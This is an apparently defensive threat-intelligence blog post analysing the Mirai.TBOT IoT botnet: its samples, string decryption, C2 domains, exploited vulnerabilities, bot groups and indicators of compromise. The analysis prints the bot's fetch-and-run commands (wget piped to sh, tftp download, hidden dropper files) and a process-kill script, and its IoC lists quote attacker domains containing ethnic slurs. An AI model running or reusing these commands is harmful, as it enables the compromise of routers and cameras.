Botnet

Mirai.TBOT Uncovered: Over 100 Groups and 30,000+ Infected Hosts in a big IoT Botnet

Wang Hao, **Acey9**, **Alex.Turing**

2024年1月3日 • 13 min read

IP

Sample

Overview

As we all know Mirai was first discovered in 2016 and it infects IoT devices by exploiting their weak passwords and vulnerabilities. Once the devices are infected, they become part of a botnet controlled by attackers for large-scale distributed denial-of-service attacks. Mirai botnets usually classify bots into different groups depending on the infection method or infected devices, so that the attacker can manage and control the huge botnet more effectively. Recently we noticed that a Mirai botnet actually had more than 100 Bot groups, which caught our attention. Based on the fact that the botnet executes the command `/bin/busybox hostname TBOT` when it performs a Telnet scan, we named it `Mirai.TBOT`. The `Mirai.TBOT` botnet has the following characteristics：

- Multiple Bot groups(100+), representing a higher number of infection methods
- Ability to exploit 0-days
- OpenNIC custom C2 domains(32 domains in some samples, not all registered)
- Massive scale(we registered 3 of the C2 domains mentioned above on November 4, 2023, so we can obtain an approximate count of its bots, which is active with more than 30,000 Bot IPs per day)
- Mainly used for DDoS purposes

On Nov 21, Akamai SIRT shared their insights on this botnet. In our blog, we will present our own findings about the `Mirai.TBOT` botnet, including details on the samples, scale, infected devices, and attack targets.

PS: In August-September, one of the `Mirai.TBOT` C2 domains is `hinetlab.gopher`, which seems to be `say hello` to former team 360Netlab

where we are.

Sample Analyses

- SHA1: e464666300b29868772d016f1b69831f7e5dbf0c

In terms of samples, `Mirai.TBOT` retains a substantial amount of the original Mirai code, with the code logic and network protocols remaining essentially unchanged. Usernames, passwords, and executed commands used for telnet scanning are stored in plaintext, while C2 domains are encrypted and stored in a string table.

String Decryption

In samples prior to November, a 20-DWORD key (0x3a) was used: `29F1F738DBA6A204A08D603BB4DA346C31F4803A7334890299BE8819320E985FD603AE5480270F12D8DE0542A6E0B45EF653CD40072A9C2E9FFA5B36CB2EF07C958D531A4F9F077A0FA9DF1284D34066`

After that the sample uses 1-DWORD key: 0x42F7F129(0x6d)

Decrypted string table:

index 0-31: OpenNIC C2(port:38241)，randomly selecting a hard-coded OpenNIC DNS server for resolution.

index 32: C2(port:1566) for reporting scan results

The remaining strings are as follows：

```
index data
33 'gosh that chinese family at the other table sure ate a lot'
34 'TSource Engine Query'
35 '/proc/'
36 '/exe'
```

```
37 '/fd'
38 '/cmdline'
39 'enable'
40 'system'
41 'shell'
42 'sh'
43 '/bin/busybox BOTNET'
44 'ncorrect'
45 'BOTNET: applet not found'
46 '/proc/%d/exe'
47 'reboot'
48 'tftp'
49 'ftp'
50 'wget'
51 '/bin/login'
```

In the late December sample, a modified RC4 algorithm was used to decrypt a string, using `XOR` to `swap` elements when initialising the SBox, in most cases the swap was successful, but when `i==j and S[i]==S[j]` the two elements were assigned to 0, which led to a mistake when decrypting with standard RC4(in a few cases the decryption still works fine using the standard algorithm, depending on the key and the length of the ciphertext). Nevertheless, this does not affect the author in any way, he just copied and pasted a function.

In addition, the careless developer made a mistake in setting the length of a C2 domain string, resulting in the wrong domain name `netfags.geekY`.

Readers are welcome to experience the difference between the two exchange methods：

```
RC4 SBox xor exchange:
S[i] ^= S[j]
S[j] ^= S[i]
S[i] ^= S[j]

Standard RC4 SBox exchange:
S[i], S[j] = S[j], S[i]
```

C2 Selection

The index table of C2 is kept in the sample data segment, an index is randomly selected and C2 in the string table is decrypted based on the index, and the port is then hardcoded as 38241, which is kept constant across multiple samples.

The single sample seen so far contains at least 4 C2s, indexed from 0 and consecutive, and change frequently (the number of C2s was sharply reduced from 32 to 4 in the sample found on 2023/11/20, and at the end of the month the logic of the C2 selection was modified to add 8 new C2s compared to the previous one).

Scanning and Commands

Based on the leaked Mirai code, `Mirai.TBOT` made some modifications to the telnet scanning function and added command execution, as follows:

```
/bin/busybox hostname TBOT
/bin/busybox echo > /tmp/.b && sh /tmp/.b && cd /tmp/
/bin/busybox echo > /var/.b && sh /var/.b && cd /var/
/bin/busybox echo > /var/run/.b && sh /var/run/.b && cd /var/run/
/bin/busybox echo > /var/tmp/.b && sh /var/tmp/.b && cd /var/tmp/
/bin/busybox echo > /dev/.b && sh /dev/.b && cd /dev/
/bin/busybox echo > /dev/shm/.b && sh /dev/shm/.b && cd /dev/shm/
/bin/busybox echo > /etc/.b && sh /etc/.b && cd /etc/
/bin/busybox echo > /mnt/.b && sh /mnt/.b && cd /mnt/
/bin/busybox echo > /usr/.b && sh /usr/.b && cd /usr/
/bin/busybox echo > /boot/.b && sh /boot/.b && cd /boot/
/bin/busybox echo > /home/.b && sh /home/.b && cd /home/
```

Execute the following script to kill the process whose files have been deleted:

```
#!/bin/sh

for proc_dir in /proc/*; do
    pid=${proc_dir##*/}

    result=$(ls -l "/proc/$pid/exe" 2> /dev/null)

    if [ "$result" != "${result%(deleted)}" ]; then
        kill -9 "$pid"
    fi
done
```

Execute the command to download sample:

```
/bin/busybox wget http://report_c2/wget.sh -O- | sh;/bin/busybox tftp -g report_c2
```

If the command execution fails (by checking whether `chinese family` is included in the output), download `http://report_c2/dlr.arch` via bot, save it to the scanning server and run it, as follows:

```
/bin/busybox echo -ne file_data > .d
/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
```

PS: The samples are updated frequently and some of the strings and commands in the latest samples have changed.

BOT Scale

Trends in BOT numbers

In the early stages, `Mirai.TBOT` consistently utilized a limited number of C2 servers. Therefore, from our perspective, there were no apparent anomalies. However, in early November, it added the function of infecting the target device directly after successfully logging into the target device using a weak Telnet password. This is different from the original Mirai, where successful logins with weak passwords were reported to the C2 server, which then implanted the malware sample. This modification led to a worm-like propagation of samples in the botnet, enabling us to observe a higher number of IPs disseminating samples of this malware family. The trend of BOT increase is illustrated in the graph below, showing a significant surge in the number of bots from early November. The noticeable decrease in the number of bots after the 18th might be attributed to the possibility that the author discovered our registration of their CC domain.

Vulnerability Exploitation and BOT Groups

Vulnerability Exploitation

According to our data, `Mirai.TBOT` not only propagates samples through SSH/TELNET weak passwords but also exploits 32 vulnerabilities, including 2 confirmed zero-days and 3 vulnerabilities for which we have not obtained any publicly available information. The specific list of vulnerabilities is as follows:

VULNERABILITY	AFFECTED
SSH_Weak_Password	
Telnet_Weak_Password	
CNVD-2022-91376	BLINK Router
CVE-2014-8361	Realtek SDK Miniigd SOAP
CVE-2014-9118	Zhone Technologies Znid GPON
CVE-2015-2051	D-Link DIR-645
CVE-2016-10372	Eir D1000
CVE-2016-20016	MV POWER CCTV DVR
CVE-2017-17215	Huawei HG532 Router
CVE-2017-5259	Cambium Networks cnPilot
CVE-2018-14558	Tenda AC7、AC9、AC10
CVE-2019-19356	Netis WF2419
CVE-2020-25499	Totolink TOTOLINK A3002RU Router
CVE-2020-8515	DrayTek Vigor2960、Vigor3900、Vigor300B Router
CVE-2020-8949	Gocloud Router
CVE-2020-9054	ZyXEL NAS
CVE-2021-22205	GitLab
CVE-2013-3307	Linksys X3000 Router
CVE-2021-28151	Hongdian H8922 Router
CVE-2021-35394	Realtek AP-Router SDK

VULNERABILITY	AFFECTED
CVE-2022-30525	Zyxel Firewall
CVE-2023-26801	LB-LINK BL-AC1900_2.0 v1.0.1、LB-LINK BL-WR9000
CVE-2018-16752	Linknet LW-N605R Router
CVE-2017-18368	Zyxel P660HN-T1A Router
CVE-2018-10561	Dasan GPON home routers
LILIN_DVR_RCE	LILIN DVR
Linksys_Router_unblock_RCE	Linksys E-series Router
OptiLink_ONT1GEW_GPON_Router_RCE	OptiLink ONT1GEW GPON
TVT_OEM_API_RCE	TVT DVR
YARN_API_RCE	Haddop Yarn API
0day 1	NVR
0day 2	Router
Unknown 3	DVR
Unknown 4	NVR
Unknown 5	Router

BOT Groups Info

When the Mirai bot connects to the C2, it carries grouping information, designed to identify and organize infected devices for more effective management and control of the extensive botnet. This grouping information may include critical identifiers, such as the device's operating system type or other distinctive information. Many attackers also prefer using the method of infection as an identifier. This is particularly crucial in the Mirai botnet network, and the possible reasons for this are as follows:

- Customized attacks: By grouping the bots, attackers can tailor different attack strategies. For instance, launching distinct attacks on various targets using different groupings.

- Management and control efficiency: Grouping enhances the efficiency of managing and controlling the botnet. Grouping thousands of infected devices can help attackers issue commands and allocate resources more effectively.
- Targeted vulnerability exploitation: Different devices and systems may have distinct vulnerabilities. Through grouping, attackers can efficiently exploit specific vulnerabilities within devices belonging to a particular group

Early on, `Mirai.TBOT` consistently used ICAAN domain names as C2. However, we observed a gradual shift to custom domain names from OpenNIC starting from late September. In the samples, there are 32 instances of Mirai.TBOT using OpenNIC custom domain names as CC. During runtime, the sample randomly accesses one of these domain names until successfully connecting to the CC. Some of these domain names were not registered. Therefore, we registered three of them. When the Mirai.TBOT sample is executed, there is a possibility that it will connect to the domain names we have registered, providing grouped information about the bots. This provided us with an opportunity to glimpse into how many bot groups exist in the `Mirai.TBOT`. The results were staggering: we discovered over 100 bot groups. Based on our experience, typically, one bot group represents one infection method. Upon closer examination of its bot groups, we found many similarities, indicating that it does not have over 100 different infection methods. However, there are still numerous entirely different groups, which surprised us. The specific groupings are as follows:

The top 10 groups with a significant number of bots are:

GROUP	COUNT OF BOT IP	METHOD OF INFECTION	AFFECTED DEVICE
selfrep	50362	telnet weak password	
Emerge	38674		Router，Gateway
multi.cnr	12067	CVE-20**-***	Router
xpon	6848		Router
zte.v2	4869		Router

GROUP	COUNT OF BOT IP	METHOD OF INFECTION	AFFECTED DEVICE
ven.0day	3096		Router
WebVuln	2892		DVR
kdvr	2885	0day 1	NVR
UTT-BOTS	2882	telnet weak password	Router
buffalo	1602	Command Injection	Router

Some interesting groups include the following, where the IPs under these groups only originate from one region and do not include IPs from other regions:

GROUP	COUNT OF REGION	COUNT OF IP	REGION
xpon	1	6886	India
ven.0day	1	3096	Venezuela
aquario	1	1078	Brazil
accessedge	1	116	Japan
blink	1	262	Ukraine
chomp	1	117	Brazil
eltex	1	206	Russia
multi.gozy	1	102	China Taiwan
netmaster	1	173	Turkey
nokia	1	100	Italy
phicom	1	119	China
telecom	1	284	Cabo Verde

BOT Geographic Distribution

From a geographical perspective, devices infected by the Mirai.TBOT botnet are distributed across various regions worldwide. Regions with a relatively high

infection rate include China, Venezuela, India, South Korea, Brazil, Japan, and others.

The geographical distribution in mainland China covers regions such as Jiangsu, Hunan, Guangdong, Liaoning, Yunnan, Heilongjiang, and others.

BOT IP AS Distribution

Infected Devices and Affected Entities

Infected Devices

Based on data from the QAX Network Space Mapping Platform - Hunter, we queried the HTTP Title information of these Bot IPs in the last 30 days. The most frequent Title information is listed below, providing us with an overview of devices that are more commonly infected.

```
Login to TLR-2005KSH
Login to TLR-2005KSQ
Login to TLR-2021
Wireless Broadband Router
Login to SDT-CS3B1
DVR Web Service
FiberLink101
Synology NSA
ZTE Gateway - webGUI IX350
BroadBand Login
ZXHN H108N V2.5
GVONU-4GUPC
Eltex - NTU-RG-1402G-W
LTE CPE
ASUS Login
NETSurveillance WEB
Web Client
```

```
Ruckus Wireless Admin
Device Client
Login to TLR-2855KS6
```

The first 20 strings in the Telnet banner are as follows, and `TBOT Login:` among them may be the Telnet banner message returned after the device's hostname has been changed by the `Mirai.TBOT`.

```
Login:
TBOT login:
login:
UTT login:
(none) login:
tc login:
192.0.0.64 login:
niggabox login:
YHTC login:
USR-G806 login:
freescale login:
DEMO login:
Broadband Router
niggabox
AONT login:
125E
UNIW-20 login:
xpon login:
LocalHost login:
zxic
```

Affected Entities

By querying our entities asset database, we identified assets corresponding to the following domestic institutional IPs that may have been infected by this botnet. Of course, among these IPs, there are also some IPs belonging to sandboxes of friendly competitors, such as 360, NSFOCUS, and others. The specific entities and the number of affected IPs are as follows:

DDoS Target Analysis

From the perspective of the targeted geographical locations, the targets of the `Mirai.TBOT` attacks are distributed globally and do not show specificity. The distribution of attacked victim regions is as follows:

The distribution of attacked victim ASNs:

Detection

Given that these vulnerabilities are actively exploited, we are unable to provide more details. We offer Snort rules to assist defenders in identifying vulnerability attempts and potential infections in their environments. For devices with open Telnet, you can check the hostname; if the hostname has been modified to 'TBOT', it may be infected.

Snort Rules

oday 1 payload

```
alert tcp any any -> any any (msg:"InfectedSlurs 0day exploit #1 attempt"; content:
```

oday 2 payload

```
alert tcp any any -> any any (msg:"InfectedSlurs 0day exploit #2 attempt"; content:
```

unknown 3 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #3 attempt"; content
```

unknown 4 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #4 attempt";  conten
```

unknown 5 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #5 attempt";  conten
```

Contact Us

Readers are always welcomed to reach us on twitter.

IoC

Downloader

```
45.142.182.96   Germany|None|None       AS44592|SkyLink Data Center BV
94.156.68.152   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
94.156.68.148   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
94.156.68.150   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
```

C2

OpenNIC Domain

```
cbdgzy.pirate
cncvwk.libre
czbrwa.geek
dogchink.oss
edrnhe.oss
```

fawzpp.indy
fuckdafurry.dyn
gottalovethe.indy
gropethe.indy
hbakun.geek
hbpngf.oss
hfoddy.dyn
hinetlab.gopher
hxqytk.geek
iarrfd.dyn
iaxtpa.parody
icansinga.parody
icanteatthedog.pirate
icecoldfridge.libre
ksarpo.parody
kxynjt.indy
metbez.gopher
mfszki.gopher
monkeyontop.gopher
mqcgbs.gopher
onthereps.geek
pektbo.libre
pwskys.dyn
qhedye.oss
rikzgj.pirate
rmdtqq.libre
roaqxg.parody
rwziag.pirate
shetoldmeshewas12.dyn
shetoldmeshewas12.geek
shetoldmeshewas12.gopher
shetoldmeshewas12.indy
shetoldmeshewas12.libre
shetoldmeshewas12.oss
shetoldmeshewas12.parody
shetoldmeshewas12.pirate
shetoldmeshewas13.dyn
shetoldmeshewas13.geek
shetoldmeshewas13.gopher
shetoldmeshewas13.indy
shetoldmeshewas13.libre
shetoldmeshewas13.oss
shetoldmeshewas13.parody
shetoldmeshewas13.pirate
suckmytoe.libre
thischinkisa.geek
tjanwl.gopher
ujbljw.pirate
ulkvmb.oss
vbffwf.dyn
vrodpw.indy
vvsjfn.parody
wnisyi.libre

```
xtltgx.geek
xtvyez.indy
yelloskinscant.parody
yellowskin.oss
youra.geek
pboconline1023.dyn
pboconline1248.geek
pboconline2389.geek
pboconline3615.parody
pboconline7629.pirate
pboconline8271.parody
pboconline8273.pirate
pboconline9080.dyn
hiakamai.dyn
himrresearcher.dyn
infectedslurs.geek
netfags.geek
dogeatingchink.parody
w3d0ntlikebot5.parody
infectedchink.pirate
yellowchink.pirate
pb1345.dyn
pb3928.parody
pb9827.parody
pb2871.pirate
pb5872.pirate
etbez.gopher
fszki.gopher
qcgbs.gopher
hbpngf.libre
rdtqq.libre
ede.dyn
oke.dyn
ulkvb.oss
ujbljw.pirate
```

ICANN Domain

```
husd8uasd9.online
asdjjasdhioasdia.online
infectedchink.online
cooldockmantoo.men
fuckmy.website
iliveona.cloud
infectedchink.cat
pqahzam.ink
sdfsd.xyz
cjfop.xyz
hbdfblf.xyz
idfdfh.xyz
```

```
jxhfn.xyz
homehitter.tk
shetoldmeshewas12.uno
skid.uno
dogeatingchink.uno
getcred.uk
fuckmy.site
fuckmy.store
```

IP

```
102.129.168.6   United States|Illinois|Chicago  AS40676|Psychz Networks
37.221.95.74    Germany|Nordrhein-Westfalen|Dusseldorf  AS24961|myLoc managed IT AG
45.142.182.96   Germany|None|None       AS44592|SkyLink Data Center BV
5.181.80.102    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.130    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.140    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.53     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.54     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.55     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.59     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.60     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.61     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.72     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.77     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.81     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
62.72.164.3     Germany|Nordrhein-Westfalen|Dusseldorf  AS174|Cogent Communications
91.92.252.214   Netherlands|North Holland|Amsterdam    AS394711|LIMENET
91.92.254.4     Netherlands|North Holland|Amsterdam AS394711|LIMENET
93.123.85.12    India|None|None AS213200|Ferdinand Zink trading as Tube-Hosting
```

Sample

```
02d7f7ca9950cb903c2a4c7e9c0c0dbcac8b6f5a
030288b38c71b7ccd372f6c5c162b0f45846ebbf
03232683b5e07a1fa8324817d3e4ede9f4bf7143
041ec933c0970bb79685192a80ebf21da33b28ee
04fa9edab61b770b4d02236780fd6829f29ab297
0723f347d0d8c5849de5d1e7716b26669c594bfd
07b6e105930e3ef997f89e93c9762f11d7dbc8a1
092f8ea0e7ea6bb201aed3714103967c51b64f2b
09894ac1b16b676cc4694dd1214f51ca8e23a19d
```

0b5446a8326ad6c885e411314c69003060df7b3a
0d02585b5ea7757e4c37394493a3a589d1a5d9f7
0e11b2ec2e208194d6b1ce9d669e6fa8e17fb978
0e23eb76564f7f98b03c9dd135d5b5ca7a6086e1
103416f7c32edc25bd6ac72f5d384d478df8cd00
1406d71815c13ac2089afd1adab4fb79f58e11b1
144972a8bb589c2228d5ccec622fcfadb8889a9e
15af666429156e7fbdfe1fb449e058cb4d7837f1
15f11531ce67e0808a0ec0fcf7c190d47b6bc90c
15fa96b125549fc2eb26be31706661ca77382f21
16d058958e2732e95e3fadc8769a7e8209b889d4
18e0e743dcf116e5bc9b734ca88caf75ad97a5df
1b8b7ae382e8a263467328323622b78b84c95f73
1eb87c1497fa038e3802d18420f7be938c1f3c76
2079d30b5d337e086653a3d5b8cf0cf2e09dbe06
231bd653715ca8bb9c923f876773974675643286
2895398531cefb5f7addb527eabe62b5c3342f6c
2a958b449cf65eb823f4b04c90f3fc25fa903c2d
2b1bb28f58c7ae3f9c50b08409c34208d56ccdba
2cd7df6fabb55278bbd7486f7942ca272f2ad59f
2db4de395c18ae39ca0d6d3063ed703e0830d350
2e9e8c9f4f5ddb78f9e534bda89b2df9f8e008ee
304ead7c67e187535f8be7d6be59974d400f3dbc
330b964d9a548d28b29060853cbe05982866381b
35292d18a8677e43b9c683c2b3ac69b9929ee854
35551143ad2aa7507576220ad090d56f6f9f83ad
35dbb0e69df04311cbd606571b119e8b4564acca
367dafb8f58e9b15633faf856c96fa1006025740
39ac3f23d2adf8fe3dff5f2af81539d10cf46c5f
3a88cd041cb1bce6f29eac68846c1034b9d53126
3caaba1488799b87a4fb81f0d174b04710489488
3fb804fff6b5adfb77944ce9ce7ca619b788e385
3fd867a83dd14a2966fc844656db284801225518
43f175d5c534a4f5003d67dd69876e87b437bc41
4459fe9886077fc83327e299cbdfb4fa64252aba
451d1aea75753617b8294719862f32864eb04d41
453a6690624aa1d6bdefce1f534d9cd2763162c7
45522e25416cb928e27d52f7ac69c8fb05bfc150
463e4b187f4490886215b16b3473fac8585ac609
4ded376d839bc83528cddce670234701545c3e12
4f0f85d0139b2dd2fcf231abfc5ef2b9bc106833
50598005db7eca495a25f36c3d56b023863d2b8c
6039dfbe279f0b04053aa76665069ffa5c454da9
62e05eaf7d985aa42ba164f3f16db71933eca814
63096ff0b4ee4beeb019da754be93c599bf383fb
64ad0ec7f3db48f30cbe50cffb54bee2152e94f5
671f2096b4b5e562fb9e085785043a43ffe4147e
67f8df4dd9cc1734d104a7f9ea9e524998e104ca
683ef18d9de4070627d0fcd01115648aba11fbef
68e913181e602aefcdab97252171e330d0b1fed8
693f4266f6a731ad35cab81c7cbfdd08773ff277
6c2b98781f5215298ff203e80232880866a31ffa
6cd655a688e375ec0f409ee28f8cf8eb52da220f

6e7f9b8cbca2fa4a7e8bedd1813b88079b7f04bd
704823981cff5b96e7d751b76811cd5ef2027aea
725ab9e109ab0791d0311f46918d841aebd49fb8
7895f6776b00faedacdf1eb285b71188a317f95d
789c34af78926f3beeac87ffc56e8f94248c4817
78cf949ca09105325d60d8002fbf7cae06ee0cd0
7c57de7f8c046a3ced1e2e079dc387209ef97caa
7c963d64df9476fe58e07d0c4af97c7a463428db
7f20844523cfddf6b1455a10359002d22cfbd885
81edfb29f9122c0d6a088af896f073f4ef97c775
825c78ec177a4ef290004749753b4dc13c58b262
84292a84c8e35ae832577c3a040419e91d4c0cd4
8a44661851c1c83863bf3fb60597e26e2dbe67d9
8be6b6235c00b4b27d621a363a8f2cd054380754
8cf75e300cdfc01292af6c76567d87c5fd4090d0
8ed88ae84aca2733130aafc1e35695fd720ac7a4
92a7c24d607b54d7e3fca137d6d7a022df6d78f4
95c188ef4360b7bf5a0603af99e0ffe8b3e54141
a1dc8a403843257968c911d43df082d625e12197
a1e6c0502cb31af03cd07a8fc1dd70fe11f6791a
a221434480038947 02dcfc98ff5deb89087ef744
a2e910e6fc27bf32baa619929622251e1cc3adc5
a34d429af4a69b8bfaddb4182949c889244dd0d2
a4cc1a3a1c7b8b9170e83012ad18716ad2e5d765
aa4157843af4dfa3360193ee4625add37f3080b3
acd075978f8cd4313beb9d6e6b76984ccc18128c
b01181913e74ed6bc0acec23153dd6f11092bf59
b3de73ad43b20fee8952c3f2d5f60e8facd1ca1a
b4da7b9c1322f900e07f43c524e4e4fca6b3f944
b627bbbea5d93ee8cfa0769b74e4f9a8db9fe582
b6986958d5f5357fd0a3f5726be870009cd7f066
b7788d47ee97c0df95fe6344bbce747c9e1de23a
b92b256b31c92840ab11ebc96f4f9e01343590e6
b993a4e197ecaa1c978086621c6401cfef9f84ee
bb15b13b7e4aa69712c9dcf2a73055e6313e6aee
bbb43a2ead0b044e902a961ebf5f615e25af917f
bbd3fc37c4a2003d398f5ddf32a5a238e32d8db5
bea0a2e1706bbc85fc9ada411d58ae2cef371bed
c0e15d727273baa8863e84778b10f338698353ea
c35e3043c03cb2a569fd53792c78c98a74112f6d
c6864fedb4d5d903c8525f852827650e32a6e38d
c6d11b9222235a97d51513fba2485b250dca666b
c932fd391cd758e624345dbbf51afd5f8602ef51
c9b5d0a1888d4d64a95a845acb8d23950a81366f
cafdfd9f7e41e4a1facf44cea3b7bfbfda9c3949
cf0eff879211cfa5482786c4040adcd15a04093c
d1da613caba4351b88735e7373a6a0dfabd0f9ec
d374a39290aa1e5c7350802e911b0e15599c5adb
d93334e9196d44771dd408d2c6a994bac6f79c83
dbec38b00b4ff6e06cef8f98875e8f8ea4c0f58e
e0f881800581423b68758fccbe35a4f446fd0ea9
e12fc6a8d4933f59ce480ceafad591d42f0850d0
e3215baeaba3f6c6130c3d3582eca77076b187aa

```
e464666300b29868772d016f1b69831f7e5dbf0c
e47986ea6fb79353a60d4d2a5d6c8808a8f6ceda
e62a20f297c1f786766d887a181b24bc823bcbee
e7aef8cd720c9805206b0640b813729327af63bd
ee56461c3e104ae8dee99a73d0eb4536ecfec823
f325e44db16173a108bd0b110eda61474b23b191
f4b7a4176c179add2908a423bad54963c66f6f9c
f8327b7177101b2564bc85d4c14123789d393fb5
f8452f7e1e2434d6eecbdcc7417faf70e8b78c6f
f99a15ac07a30841e00da3638e6f9e5abcda3d87
fe8f16cc2d82fef0286005e26010946f3937df05
ff0a3b62bf80ea8c229ea586500fd05314caa601
ff4c0f48fd5cb83c529fce90aca929e3b98bb006
ff5694ad02c894ab52c6db7dfe1583902840e3ec
```